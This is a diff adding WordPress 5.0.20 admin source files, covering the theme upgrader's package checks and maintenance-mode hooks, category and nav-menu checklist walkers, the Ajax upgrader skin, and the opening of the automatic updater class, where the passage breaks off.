+		remove_filter('upgrader_pre_install', array($this, 'current_before'));
+		remove_filter('upgrader_post_install', array($this, 'current_after'));
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_theme'));
+
+		return $results;
+	}
+
+	/**
+	 * Check that the package source contains a valid theme.
+	 *
+	 * Hooked to the {@see 'upgrader_source_selection'} filter by Theme_Upgrader::install().
+	 * It will return an error if the theme doesn't have style.css or index.php
+	 * files.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param string $source The full path to the package source.
+	 * @return string|WP_Error The source or a WP_Error.
+	 */
+	public function check_package( $source ) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($source) )
+			return $source;
+
+		// Check the folder contains a valid theme
+		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source);
+		if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, let's not prevent installation.
+			return $source;
+
+		// A proper archive should have a style.css file in the single subdirectory
+		if ( ! file_exists( $working_directory . 'style.css' ) ) {
+			return new WP_Error( 'incompatible_archive_theme_no_style', $this->strings['incompatible_archive'],
+				/* translators: %s: style.css */
+				sprintf( __( 'The theme is missing the %s stylesheet.' ),
+					'<code>style.css</code>'
+				)
+			);
+		}
+
+		$info = get_file_data( $working_directory . 'style.css', array( 'Name' => 'Theme Name', 'Template' => 'Template' ) );
+
+		if ( empty( $info['Name'] ) ) {
+			return new WP_Error( 'incompatible_archive_theme_no_name', $this->strings['incompatible_archive'],
+				/* translators: %s: style.css */
+				sprintf( __( 'The %s stylesheet doesn&#8217;t contain a valid theme header.' ),
+					'<code>style.css</code>'
+				)
+			);
+		}
+
+		// If it's not a child theme, it must have at least an index.php to be legit.
+		if ( empty( $info['Template'] ) && ! file_exists( $working_directory . 'index.php' ) ) {
+			return new WP_Error( 'incompatible_archive_theme_no_index', $this->strings['incompatible_archive'],
+				/* translators: %s: index.php */
+				sprintf( __( 'The theme is missing the %s file.' ),
+					'<code>index.php</code>'
+				)
+			);
+		}
+
+		return $source;
+	}
+
+	/**
+	 * Turn on maintenance mode before attempting to upgrade the current theme.
+	 *
+	 * Hooked to the {@see 'upgrader_pre_install'} filter by Theme_Upgrader::upgrade() and
+	 * Theme_Upgrader::bulk_upgrade().
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool|WP_Error  $return
+	 * @param array          $theme
+	 * @return bool|WP_Error
+	 */
+	public function current_before($return, $theme) {
+		if ( is_wp_error($return) )
+			return $return;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( $theme != get_stylesheet() ) //If not current
+			return $return;
+		//Change to maintenance mode now.
+		if ( ! $this->bulk )
+			$this->maintenance_mode(true);
+
+		return $return;
+	}
+
+	/**
+	 * Turn off maintenance mode after upgrading the current theme.
+	 *
+	 * Hooked to the {@see 'upgrader_post_install'} filter by Theme_Upgrader::upgrade()
+	 * and Theme_Upgrader::bulk_upgrade().
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool|WP_Error  $return
+	 * @param array          $theme
+	 * @return bool|WP_Error
+	 */
+	public function current_after($return, $theme) {
+		if ( is_wp_error($return) )
+			return $return;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( $theme != get_stylesheet() ) // If not current
+			return $return;
+
+		// Ensure stylesheet name hasn't changed after the upgrade:
+		if ( $theme == get_stylesheet() && $theme != $this->result['destination_name'] ) {
+			wp_clean_themes_cache();
+			$stylesheet = $this->result['destination_name'];
+			switch_theme( $stylesheet );
+		}
+
+		//Time to remove maintenance mode
+		if ( ! $this->bulk )
+			$this->maintenance_mode(false);
+		return $return;
+	}
+
+	/**
+	 * Delete the old theme during an upgrade.
+	 *
+	 * Hooked to the {@see 'upgrader_clear_destination'} filter by Theme_Upgrader::upgrade()
+	 * and Theme_Upgrader::bulk_upgrade().
+	 *
+	 * @since 2.8.0
+	 *
+	 * @global WP_Filesystem_Base $wp_filesystem Subclass
+	 *
+	 * @param bool   $removed
+	 * @param string $local_destination
+	 * @param string $remote_destination
+	 * @param array  $theme
+	 * @return bool
+	 */
+	public function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) {
+		global $wp_filesystem;
+
+		if ( is_wp_error( $removed ) )
+			return $removed; // Pass errors through.
+
+		if ( ! isset( $theme['theme'] ) )
+			return $removed;
+
+		$theme = $theme['theme'];
+		$themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) );
+		if ( $wp_filesystem->exists( $themes_dir . $theme ) ) {
+			if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the WP_Theme object for a theme.
+	 *
+	 * @since 2.8.0
+	 * @since 3.0.0 The `$theme` argument was added.
+	 *
+	 * @param string $theme The directory name of the theme. This is optional, and if not supplied,
+	 *                      the directory name from the last result will be used.
+	 * @return WP_Theme|false The theme's info object, or false `$theme` is not supplied
+	 *                        and the last result isn't set.
+	 */
+	public function theme_info($theme = null) {
+
+		if ( empty($theme) ) {
+			if ( !empty($this->result['destination_name']) )
+				$theme = $this->result['destination_name'];
+			else
+				return false;
+		}
+		return wp_get_theme( $theme );
+	}
+
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-walker-category-checklist.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-walker-category-checklist.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-walker-category-checklist.php	(revision 56912)
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Taxonomy API: Walker_Category_Checklist class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Core walker class to output an unordered list of category checkbox input elements.
+ *
+ * @since 2.5.1
+ *
+ * @see Walker
+ * @see wp_category_checklist()
+ * @see wp_terms_checklist()
+ */
+class Walker_Category_Checklist extends Walker {
+	public $tree_type = 'category';
+	public $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); //TODO: decouple this
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker:start_lvl()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Depth of category. Used for tab indentation.
+	 * @param array  $args   An array of arguments. @see wp_terms_checklist()
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Depth of category. Used for tab indentation.
+	 * @param array  $args   An array of arguments. @see wp_terms_checklist()
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output   Used to append additional content (passed by reference).
+	 * @param object $category The current term object.
+	 * @param int    $depth    Depth of the term in reference to parents. Default 0.
+	 * @param array  $args     An array of arguments. @see wp_terms_checklist()
+	 * @param int    $id       ID of the current term.
+	 */
+	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
+		if ( empty( $args['taxonomy'] ) ) {
+			$taxonomy = 'category';
+		} else {
+			$taxonomy = $args['taxonomy'];
+		}
+
+		if ( $taxonomy == 'category' ) {
+			$name = 'post_category';
+		} else {
+			$name = 'tax_input[' . $taxonomy . ']';
+		}
+
+		$args['popular_cats'] = empty( $args['popular_cats'] ) ? array() : $args['popular_cats'];
+		$class = in_array( $category->term_id, $args['popular_cats'] ) ? ' class="popular-category"' : '';
+
+		$args['selected_cats'] = empty( $args['selected_cats'] ) ? array() : $args['selected_cats'];
+
+		if ( ! empty( $args['list_only'] ) ) {
+			$aria_checked = 'false';
+			$inner_class = 'category';
+
+			if ( in_array( $category->term_id, $args['selected_cats'] ) ) {
+				$inner_class .= ' selected';
+				$aria_checked = 'true';
+			}
+
+			/** This filter is documented in wp-includes/category-template.php */
+			$output .= "\n" . '<li' . $class . '>' .
+				'<div class="' . $inner_class . '" data-term-id=' . $category->term_id .
+				' tabindex="0" role="checkbox" aria-checked="' . $aria_checked . '">' .
+				esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</div>';
+		} else {
+			/** This filter is documented in wp-includes/category-template.php */
+			$output .= "\n<li id='{$taxonomy}-{$category->term_id}'$class>" .
+				'<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="'.$name.'[]" id="in-'.$taxonomy.'-' . $category->term_id . '"' .
+				checked( in_array( $category->term_id, $args['selected_cats'] ), true, false ) .
+				disabled( empty( $args['disabled'] ), false, false ) . ' /> ' .
+				esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</label>';
+		}
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @since 2.5.1
+	 *
+	 * @param string $output   Used to append additional content (passed by reference).
+	 * @param object $category The current term object.
+	 * @param int    $depth    Depth of the term in reference to parents. Default 0.
+	 * @param array  $args     An array of arguments. @see wp_terms_checklist()
+	 */
+	public function end_el( &$output, $category, $depth = 0, $args = array() ) {
+		$output .= "</li>\n";
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-walker-nav-menu-checklist.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-walker-nav-menu-checklist.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-walker-nav-menu-checklist.php	(revision 56912)
@@ -0,0 +1,117 @@
+<?php
+/**
+ * Navigation Menu API: Walker_Nav_Menu_Checklist class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Create HTML list of nav menu input items.
+ *
+ * @since 3.0.0
+ * @uses Walker_Nav_Menu
+ */
+class Walker_Nav_Menu_Checklist extends Walker_Nav_Menu {
+	/**
+	 *
+	 * @param array $fields
+	 */
+	public function __construct( $fields = false ) {
+		if ( $fields ) {
+			$this->db_fields = $fields;
+		}
+	}
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::start_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Depth of page. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat( "\t", $depth );
+		$output .= "\n$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::end_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param int    $depth  Depth of page. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat( "\t", $depth );
+		$output .= "\n$indent</ul>";
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker_Nav_Menu::start_el()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @global int $_nav_menu_placeholder
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param object $item   Menu item data object.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 * @param int    $id     Not used.
+	 */
+	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
+		global $_nav_menu_placeholder;
+
+		$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1;
+		$possible_object_id = isset( $item->post_type ) && 'nav_menu_item' == $item->post_type ? $item->object_id : $_nav_menu_placeholder;
+		$possible_db_id = ( ! empty( $item->ID ) ) && ( 0 < $possible_object_id ) ? (int) $item->ID : 0;
+
+		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';
+
+		$output .= $indent . '<li>';
+		$output .= '<label class="menu-item-title">';
+		$output .= '<input type="checkbox" class="menu-item-checkbox';
+
+		if ( ! empty( $item->front_or_home ) )
+			$output .= ' add-to-top';
+
+		$output .= '" name="menu-item[' . $possible_object_id . '][menu-item-object-id]" value="'. esc_attr( $item->object_id ) .'" /> ';
+
+		if ( ! empty( $item->label ) ) {
+			$title = $item->label;
+		} elseif ( isset( $item->post_type ) ) {
+			/** This filter is documented in wp-includes/post-template.php */
+			$title = apply_filters( 'the_title', $item->post_title, $item->ID );
+			if ( ! empty( $item->front_or_home ) && _x( 'Home', 'nav menu home label' ) !== $title )
+				$title = sprintf( _x( 'Home: %s', 'nav menu front page title' ), $title );
+		}
+
+		$output .= isset( $title ) ? esc_html( $title ) : esc_html( $item->title );
+ 		$output .= '</label>';
+
+		// Menu item hidden fields
+		$output .= '<input type="hidden" class="menu-item-db-id" name="menu-item[' . $possible_object_id . '][menu-item-db-id]" value="' . $possible_db_id . '" />';
+		$output .= '<input type="hidden" class="menu-item-object" name="menu-item[' . $possible_object_id . '][menu-item-object]" value="'. esc_attr( $item->object ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-parent-id" name="menu-item[' . $possible_object_id . '][menu-item-parent-id]" value="'. esc_attr( $item->menu_item_parent ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-type" name="menu-item[' . $possible_object_id . '][menu-item-type]" value="'. esc_attr( $item->type ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-title" name="menu-item[' . $possible_object_id . '][menu-item-title]" value="'. esc_attr( $item->title ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-url" name="menu-item[' . $possible_object_id . '][menu-item-url]" value="'. esc_attr( $item->url ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-target" name="menu-item[' . $possible_object_id . '][menu-item-target]" value="'. esc_attr( $item->target ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-attr_title" name="menu-item[' . $possible_object_id . '][menu-item-attr_title]" value="'. esc_attr( $item->attr_title ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-classes" name="menu-item[' . $possible_object_id . '][menu-item-classes]" value="'. esc_attr( implode( ' ', $item->classes ) ) .'" />';
+		$output .= '<input type="hidden" class="menu-item-xfn" name="menu-item[' . $possible_object_id . '][menu-item-xfn]" value="'. esc_attr( $item->xfn ) .'" />';
+	}
+
+} // Walker_Nav_Menu_Checklist
Index: /tags/5.0.20/src/wp-admin/includes/class-walker-nav-menu-edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-walker-nav-menu-edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-walker-nav-menu-edit.php	(revision 56912)
@@ -0,0 +1,241 @@
+<?php
+/**
+ * Navigation Menu API: Walker_Nav_Menu_Edit class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Create HTML list of nav menu input items.
+ *
+ * @since 3.0.0
+ *
+ * @see Walker_Nav_Menu
+ */
+class Walker_Nav_Menu_Edit extends Walker_Nav_Menu {
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::start_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker_Nav_Menu::end_lvl()
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $output Passed by reference.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker_Nav_Menu::start_el()
+	 * @since 3.0.0
+	 *
+	 * @global int $_wp_nav_menu_max_depth
+	 *
+	 * @param string $output Used to append additional content (passed by reference).
+	 * @param object $item   Menu item data object.
+	 * @param int    $depth  Depth of menu item. Used for padding.
+	 * @param array  $args   Not used.
+	 * @param int    $id     Not used.
+	 */
+	public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
+		global $_wp_nav_menu_max_depth;
+		$_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth;
+
+		ob_start();
+		$item_id = esc_attr( $item->ID );
+		$removed_args = array(
+			'action',
+			'customlink-tab',
+			'edit-menu-item',
+			'menu-item',
+			'page-tab',
+			'_wpnonce',
+		);
+
+		$original_title = false;
+		if ( 'taxonomy' == $item->type ) {
+			$original_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
+			if ( is_wp_error( $original_title ) )
+				$original_title = false;
+		} elseif ( 'post_type' == $item->type ) {
+			$original_object = get_post( $item->object_id );
+			$original_title = get_the_title( $original_object->ID );
+		} elseif ( 'post_type_archive' == $item->type ) {
+			$original_object = get_post_type_object( $item->object );
+			if ( $original_object ) {
+				$original_title = $original_object->labels->archives;
+			}
+		}
+
+		$classes = array(
+			'menu-item menu-item-depth-' . $depth,
+			'menu-item-' . esc_attr( $item->object ),
+			'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? 'active' : 'inactive'),
+		);
+
+		$title = $item->title;
+
+		if ( ! empty( $item->_invalid ) ) {
+			$classes[] = 'menu-item-invalid';
+			/* translators: %s: title of menu item which is invalid */
+			$title = sprintf( __( '%s (Invalid)' ), $item->title );
+		} elseif ( isset( $item->post_status ) && 'draft' == $item->post_status ) {
+			$classes[] = 'pending';
+			/* translators: %s: title of menu item in draft status */
+			$title = sprintf( __('%s (Pending)'), $item->title );
+		}
+
+		$title = ( ! isset( $item->label ) || '' == $item->label ) ? $title : $item->label;
+
+		$submenu_text = '';
+		if ( 0 == $depth )
+			$submenu_text = 'style="display: none;"';
+
+		?>
+		<li id="menu-item-<?php echo $item_id; ?>" class="<?php echo implode(' ', $classes ); ?>">
+			<div class="menu-item-bar">
+				<div class="menu-item-handle">
+					<span class="item-title"><span class="menu-item-title"><?php echo esc_html( $title ); ?></span> <span class="is-submenu" <?php echo $submenu_text; ?>><?php _e( 'sub item' ); ?></span></span>
+					<span class="item-controls">
+						<span class="item-type"><?php echo esc_html( $item->type_label ); ?></span>
+						<span class="item-order hide-if-js">
+							<a href="<?php
+								echo wp_nonce_url(
+									add_query_arg(
+										array(
+											'action' => 'move-up-menu-item',
+											'menu-item' => $item_id,
+										),
+										remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) )
+									),
+									'move-menu_item'
+								);
+							?>" class="item-move-up" aria-label="<?php esc_attr_e( 'Move up' ) ?>">&#8593;</a>
+							|
+							<a href="<?php
+								echo wp_nonce_url(
+									add_query_arg(
+										array(
+											'action' => 'move-down-menu-item',
+											'menu-item' => $item_id,
+										),
+										remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) )
+									),
+									'move-menu_item'
+								);
+							?>" class="item-move-down" aria-label="<?php esc_attr_e( 'Move down' ) ?>">&#8595;</a>
+						</span>
+						<a class="item-edit" id="edit-<?php echo $item_id; ?>" href="<?php
+							echo ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? admin_url( 'nav-menus.php' ) : add_query_arg( 'edit-menu-item', $item_id, remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) ) );
+						?>" aria-label="<?php esc_attr_e( 'Edit menu item' ); ?>"><span class="screen-reader-text"><?php _e( 'Edit' ); ?></span></a>
+					</span>
+				</div>
+			</div>
+
+			<div class="menu-item-settings wp-clearfix" id="menu-item-settings-<?php echo $item_id; ?>">
+				<?php if ( 'custom' == $item->type ) : ?>
+					<p class="field-url description description-wide">
+						<label for="edit-menu-item-url-<?php echo $item_id; ?>">
+							<?php _e( 'URL' ); ?><br />
+							<input type="text" id="edit-menu-item-url-<?php echo $item_id; ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->url ); ?>" />
+						</label>
+					</p>
+				<?php endif; ?>
+				<p class="description description-wide">
+					<label for="edit-menu-item-title-<?php echo $item_id; ?>">
+						<?php _e( 'Navigation Label' ); ?><br />
+						<input type="text" id="edit-menu-item-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->title ); ?>" />
+					</label>
+				</p>
+				<p class="field-title-attribute field-attr-title description description-wide">
+					<label for="edit-menu-item-attr-title-<?php echo $item_id; ?>">
+						<?php _e( 'Title Attribute' ); ?><br />
+						<input type="text" id="edit-menu-item-attr-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->post_excerpt ); ?>" />
+					</label>
+				</p>
+				<p class="field-link-target description">
+					<label for="edit-menu-item-target-<?php echo $item_id; ?>">
+						<input type="checkbox" id="edit-menu-item-target-<?php echo $item_id; ?>" value="_blank" name="menu-item-target[<?php echo $item_id; ?>]"<?php checked( $item->target, '_blank' ); ?> />
+						<?php _e( 'Open link in a new tab' ); ?>
+					</label>
+				</p>
+				<p class="field-css-classes description description-thin">
+					<label for="edit-menu-item-classes-<?php echo $item_id; ?>">
+						<?php _e( 'CSS Classes (optional)' ); ?><br />
+						<input type="text" id="edit-menu-item-classes-<?php echo $item_id; ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo $item_id; ?>]" value="<?php echo esc_attr( implode(' ', $item->classes ) ); ?>" />
+					</label>
+				</p>
+				<p class="field-xfn description description-thin">
+					<label for="edit-menu-item-xfn-<?php echo $item_id; ?>">
+						<?php _e( 'Link Relationship (XFN)' ); ?><br />
+						<input type="text" id="edit-menu-item-xfn-<?php echo $item_id; ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->xfn ); ?>" />
+					</label>
+				</p>
+				<p class="field-description description description-wide">
+					<label for="edit-menu-item-description-<?php echo $item_id; ?>">
+						<?php _e( 'Description' ); ?><br />
+						<textarea id="edit-menu-item-description-<?php echo $item_id; ?>" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description[<?php echo $item_id; ?>]"><?php echo esc_html( $item->description ); // textarea_escaped ?></textarea>
+						<span class="description"><?php _e('The description will be displayed in the menu if the current theme supports it.'); ?></span>
+					</label>
+				</p>
+
+				<fieldset class="field-move hide-if-no-js description description-wide">
+					<span class="field-move-visual-label" aria-hidden="true"><?php _e( 'Move' ); ?></span>
+					<button type="button" class="button-link menus-move menus-move-up" data-dir="up"><?php _e( 'Up one' ); ?></button>
+					<button type="button" class="button-link menus-move menus-move-down" data-dir="down"><?php _e( 'Down one' ); ?></button>
+					<button type="button" class="button-link menus-move menus-move-left" data-dir="left"></button>
+					<button type="button" class="button-link menus-move menus-move-right" data-dir="right"></button>
+					<button type="button" class="button-link menus-move menus-move-top" data-dir="top"><?php _e( 'To the top' ); ?></button>
+				</fieldset>
+
+				<div class="menu-item-actions description-wide submitbox">
+					<?php if ( 'custom' != $item->type && $original_title !== false ) : ?>
+						<p class="link-to-original">
+							<?php printf( __('Original: %s'), '<a href="' . esc_attr( $item->url ) . '">' . esc_html( $original_title ) . '</a>' ); ?>
+						</p>
+					<?php endif; ?>
+					<a class="item-delete submitdelete deletion" id="delete-<?php echo $item_id; ?>" href="<?php
+					echo wp_nonce_url(
+						add_query_arg(
+							array(
+								'action' => 'delete-menu-item',
+								'menu-item' => $item_id,
+							),
+							admin_url( 'nav-menus.php' )
+						),
+						'delete-menu_item_' . $item_id
+					); ?>"><?php _e( 'Remove' ); ?></a> <span class="meta-sep hide-if-no-js"> | </span> <a class="item-cancel submitcancel hide-if-no-js" id="cancel-<?php echo $item_id; ?>" href="<?php echo esc_url( add_query_arg( array( 'edit-menu-item' => $item_id, 'cancel' => time() ), admin_url( 'nav-menus.php' ) ) );
+						?>#menu-item-settings-<?php echo $item_id; ?>"><?php _e('Cancel'); ?></a>
+				</div>
+
+				<input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo $item_id; ?>]" value="<?php echo $item_id; ?>" />
+				<input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object_id ); ?>" />
+				<input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->object ); ?>" />
+				<input class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_item_parent ); ?>" />
+				<input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->menu_order ); ?>" />
+				<input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $item->type ); ?>" />
+			</div><!-- .menu-item-settings-->
+			<ul class="menu-item-transport"></ul>
+		<?php
+		$output .= ob_get_clean();
+	}
+
+} // Walker_Nav_Menu_Edit
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-ajax-upgrader-skin.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-ajax-upgrader-skin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-ajax-upgrader-skin.php	(revision 56912)
@@ -0,0 +1,126 @@
+<?php
+/**
+ * Upgrader API: WP_Ajax_Upgrader_Skin class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Upgrader Skin for Ajax WordPress upgrades.
+ *
+ * This skin is designed to be used for Ajax updates.
+ *
+ * @since 4.6.0
+ *
+ * @see Automatic_Upgrader_Skin
+ */
+class WP_Ajax_Upgrader_Skin extends Automatic_Upgrader_Skin {
+
+	/**
+	 * Holds the WP_Error object.
+	 *
+	 * @since 4.6.0
+	 * @var null|WP_Error
+	 */
+	protected $errors = null;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param array $args Options for the upgrader, see WP_Upgrader_Skin::__construct().
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( $args );
+
+		$this->errors = new WP_Error();
+	}
+
+	/**
+	 * Retrieves the list of errors.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return WP_Error Errors during an upgrade.
+	 */
+	public function get_errors() {
+		return $this->errors;
+	}
+
+	/**
+	 * Retrieves a string for error messages.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @return string Error messages during an upgrade.
+	 */
+	public function get_error_messages() {
+		$messages = array();
+
+		foreach ( $this->errors->get_error_codes() as $error_code ) {
+			if ( $this->errors->get_error_data( $error_code ) && is_string( $this->errors->get_error_data( $error_code ) ) ) {
+				$messages[] = $this->errors->get_error_message( $error_code ) . ' ' . esc_html( strip_tags( $this->errors->get_error_data( $error_code ) ) );
+			} else {
+				$messages[] = $this->errors->get_error_message( $error_code );
+			}
+		}
+
+		return implode( ', ', $messages );
+	}
+
+	/**
+	 * Stores a log entry for an error.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|WP_Error $errors Errors.
+	 */
+	public function error( $errors ) {
+		if ( is_string( $errors ) ) {
+			$string = $errors;
+			if ( ! empty( $this->upgrader->strings[ $string ] ) ) {
+				$string = $this->upgrader->strings[ $string ];
+			}
+
+			if ( false !== strpos( $string, '%' ) ) {
+				$args = func_get_args();
+				$args = array_splice( $args, 1 );
+				if ( ! empty( $args ) ) {
+					$string = vsprintf( $string, $args );
+				}
+			}
+
+			// Count existing errors to generate an unique error code.
+			$errors_count = count( $this->errors->get_error_codes() );
+			$this->errors->add( 'unknown_upgrade_error_' . $errors_count + 1 , $string );
+		} elseif ( is_wp_error( $errors ) ) {
+			foreach ( $errors->get_error_codes() as $error_code ) {
+				$this->errors->add( $error_code, $errors->get_error_message( $error_code ), $errors->get_error_data( $error_code ) );
+			}
+		}
+
+		$args = func_get_args();
+		call_user_func_array( array( $this, 'parent::error' ), $args );
+	}
+
+	/**
+	 * Stores a log entry.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string|array|WP_Error $data Log entry data.
+	 */
+	public function feedback( $data ) {
+		if ( is_wp_error( $data ) ) {
+			foreach ( $data->get_error_codes() as $error_code ) {
+				$this->errors->add( $error_code, $data->get_error_message( $error_code ), $data->get_error_data( $error_code ) );
+			}
+		}
+
+		$args = func_get_args();
+		call_user_func_array( array( $this, 'parent::feedback' ), $args );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-automatic-updater.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-automatic-updater.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-automatic-updater.php	(revision 56912)
@@ -0,0 +1,913 @@
+<?php
+/**
+ * Upgrade API: WP_Automatic_Updater class
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for handling automatic background updates.
+ *
+ * @since 3.7.0
+ * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
+ */
+class WP_Automatic_Updater {
+
+	/**
+	 * Tracks update results during processing.
+	 *
+	 * @var array
+	 */
+	protected $update_results = array();
+
+	/**
+	 * Whether the entire automatic updater is disabled.
+	 *
+	 * @since 3.7.0
+	 */
+	public function is_disabled() {
+		// Background updates are disabled if you don't want file changes.
